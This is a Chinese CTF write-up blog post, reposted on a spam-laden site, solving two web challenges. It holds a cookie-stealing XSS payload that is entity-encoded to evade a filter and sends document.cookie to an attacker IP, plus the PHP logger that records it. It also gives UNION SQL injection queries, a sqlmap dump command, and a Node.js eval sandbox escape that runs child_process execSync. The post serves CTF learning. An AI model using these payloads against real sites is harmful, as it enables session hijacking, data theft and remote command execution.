当前位置: 首页 > news >正文

网站建设素材网网页设计论文

网站建设素材网,网页设计论文,php 判断 $_get 然后跳转到相印的网站,政府网站 建设目标[CISCN2019 华东北赛区]Web2 看wp写完之后写的 知识点 存储型XSS与过滤绕过sql注入 题解 好几个页面,存在登录框可以注册,存在管理员页面(admin.php) ->既然存在管理员页面,且直接访问admin.php提示我们 说明存在身份验证&#xff0…

[CISCN2019 华东北赛区]Web2

看wp写完之后写的

知识点
  • 存储型XSS与过滤绕过
  • sql注入
题解

好几个页面,存在登录框可以注册,存在管理员页面(admin.php)

->既然存在管理员页面,且直接访问admin.php提示我们

在这里插入图片描述

说明存在身份验证,我能够想到的只有Cookie和Session验证,那应该就是获取或者伪造了

->伪造:没有发现jwt格式或类似的数据,

->获取:能够想到的只有xss

根据投稿页面提示信息,更加明确就是xss了

在这里插入图片描述

也就是说,这里上传XSSpayload,然后去反馈页面,将上传到的网址提交一下,管理员会去访问 -> 从而获取管理员身份信息

-> 需要公网IP,存在Http服务

在这里插入图片描述

过滤了,将() -> (),看wp了,根本不会绕过 编码网址

1.在服务器网站下创建一个php文件,用来之后管理员的访问 -> 从而获取管理员Cookie

<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a");    # a模式是追加模式(在文件末尾添加内容)fwrite($log,$time.':    '. $cookie . "\n");fclose($log);
?>

这个php文件需要一个Get参数 -> 当我们传入document.cookie时,会获取自己访问该网站的Cookie

写入cookie.txt文件中

# Xsspayload
in_str = "(function(){location.href='http://IP/127.php?cookie='+document.cookie})();"output = ""# 绕过waf部分
for c in in_str:output += "&#" + str(ord(c))print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

可能有点乱,先后顺序过一遍

1.上传XssPayload -> 获取上传的网址

在这里插入图片描述

先别管waf部分,看in_str的内容 -> function(){}() js语言这个函数会自动调用, location.href 跳转命令

后面是 跳转到公网IP的php文件url,参数是cookie,值是document.cookie用来获取管理员Cookie值

上传的url:4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/post/02595e9379a689c1140ed4a2b3656700.html
这里要看一眼题目介绍,要将前面的改成web.node5.buuoj.cn

2.然后在反馈的地方输入url,让管理员去检查 -> 从而触发跳转 之后一系列 -> 致使管理员Cookie写入到cookie.txt文件中

这个验证码,写一个py脚本就行了,我直接复制的wp中的

import hashlibdef func(md5_val):for x in range(999999, 100000000):x = str(x).encode('UTF-8')md5_value = hashlib.md5(x).hexdigest()if md5_value[:6] == md5_val:return str(x)if __name__ == '__main__':print(func('277f26'))

3.获取Cookie之后访问admin.php之后的每一步,都要抓包修改Cookie或者其他修改Cookie的方式都可以

在这里插入图片描述

之后就是sql注入了[ 整数闭合注入 ] -> 唯一的一点就是每一次都要修改Cookie, 在Bp中直接发送的话, 又因为Get参数编码的问题,

->可以使用Postman

-2 union select 1,2,3#-2 union select 1,database(),user()#-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#-2 union select 1,2,group_concat(flagg) from flag#

或者用sqlmap跑,指定一下Cookie参数

sqlmap -u 'http://4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/admin.php?id=1' --cookie='PHPSESSID=6acc57b9d1aa6f6e94a23ea4286a182e' -D "ciscn" -T "flag" --dump --batch

另外说一下,我看那个Xsspayload编码绕过,估计是通用的哎,只要将明文改一下,就跟着编码了( 我的payload用的是公网的,Wp中是Xss平台,不一样的,但是编码部分我没改,也能过)

wp

[NPUCTF2020]验证🐎

知识点
  • nodejs下的md5绕过
  • Nodejs下的RCE
题解

给出了源码, 主要看两部分

function saferEval(str) {if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {if (req.body.e) {try {result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';# 来到这里, 进入safeEval函数, 绕过正则表达式, 执行eval函数}

Part1:满足if

nodejs中有类似于PHP的弱类型比较

在这里插入图片描述

在nodejs中数值类型没有长度,length只是一个属性

在这里插入图片描述

nodejs中任何数据类型与string类型相加时,都会强制转换为字符串类型

在这里插入图片描述

之前没写过nodejs代码,跟着练练

const crypto = require('crypto')var key = "abc"
var a1 = '1' + key[0]
var b1 = [1] + key[0]console.log(a1) # 1a
console.log(b1) # 1aconst hashA = crypto.createHash('md5')
hashA.update(a1)
const a = hashA.digest('hex')
console.log(a) # efaa153b0f682ae5170a3184fa0df28cconst hashB = crypto.createHash('md5')
hashB.update(b1)
const b = hashB.digest('hex')
console.log(b) # efaa153b0f682ae5170a3184fa0df28c

故Payload1:{“e”:paylod,“first”:[1],“second”:“1”}

Part2:绕过正则

第一步 - 分析正则:

我看不太懂,有些有特定的含义,一部分一部分复制到regx101中试试

/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g

1.(?:Math(?:\.\w+)?):匹配以Math.[0-9a-zA-Z_]

2.[()+\-*/&|^%<>=,?:]:这里是匹配其中任一的符号

3.(?:\d+\.?\d*(?:e\d+)?):数字 加 点 加数字 加e 加数字,在reg中试吧

4 :匹配空格

后面就是如何在绕过正则的基础上构造Poc - -包不会的,看wp

首先箭头函数

在这里插入图片描述

(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode( 114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) )()))(Math+1)

上面这个js代码,我不知道是在干嘛,不清楚,但是能看到 construcor加上wp的说明,感觉是找到Function这个原型

个人理解:Math也是一个对象[满足正则] -> 找到Function原型 -> 从而调用命令函数

(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode("return process.mainModule.require('child_process').execSync('cat /flag')")) )() )(Math+1)
#Exp.py
import re 
encode = lambda code: list(map(ord,code)) 
#decode = lambda code: "".join(map(chr,code)) 
a=f""" 
(m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1) 
""" 
print(a+'\n') 
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") 
print(a)
#需要json格式发送 --- 使用python发送requests请求import requestsurl = 'http://4b041973-c5be-4195-b945-33b5fd95126f.node5.buuoj.cn:81/'
json = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[1],"second":'1'}res = requests.post(url=url, json=json)
print(res.text)
参考

wp

http://www.zhongyajixie.com/news/34207.html

相关文章:

  • 网站推广中的评估指标有哪些企业网站seo优化
  • 在局网站 作风建设seo短视频加密路线
  • 网站制作软件下载安装武汉seo托管公司
  • 网站怎么做qq授权登录界面外贸独立站怎么做
  • 免费推广网站入口202友情链接交换要注意哪些问题
  • 哈尔滨门户网站是什么关键词林俊杰mp3在线听
  • 国外网站模板网站建设百度应用商店
  • 自己做网站的流程下载东莞网站建设推广
  • wordpress离线写文章深圳谷歌seo推广
  • 网站排名系统哪个好12345浏览器
  • 做网站用jsp和html百度指数专业版app
  • php网站的数据库怎么做备份seo中介平台
  • 2018网站建设行业短视频seo优化
  • 衢州网站建设杭州网站
  • 镇江网站设计公司报价线上营销推广方式都有哪些
  • 做衣服网站的实验感想视频运营管理平台
  • 珠海网站建设小程序精准营销的三要素
  • app开发公司有前景么网店seo是什么意思
  • 网站开发自我介绍网络营销章节测试答案
  • 造价员可以做兼职的网站徐州seo网站推广
  • wordpress添加js东莞快速优化排名
  • 在哪里做公司网站网站建设网络推广seo
  • seo优化推广工程师招聘优化关键词的方法有哪些
  • 个人域名备案有什么风险如何优化网络连接
  • 一个网站项目几个人做免费网站可以下载
  • 什么软件可以刷网站排名域名注册需要多少钱?
  • ppt免费网站如何建一个自己的网站
  • 在您的网站首页添加标签google官网注册
  • b s网站系统如何做性能测试搜索引擎排名2021
  • 网站框架都有什么用今日头条郑州头条新闻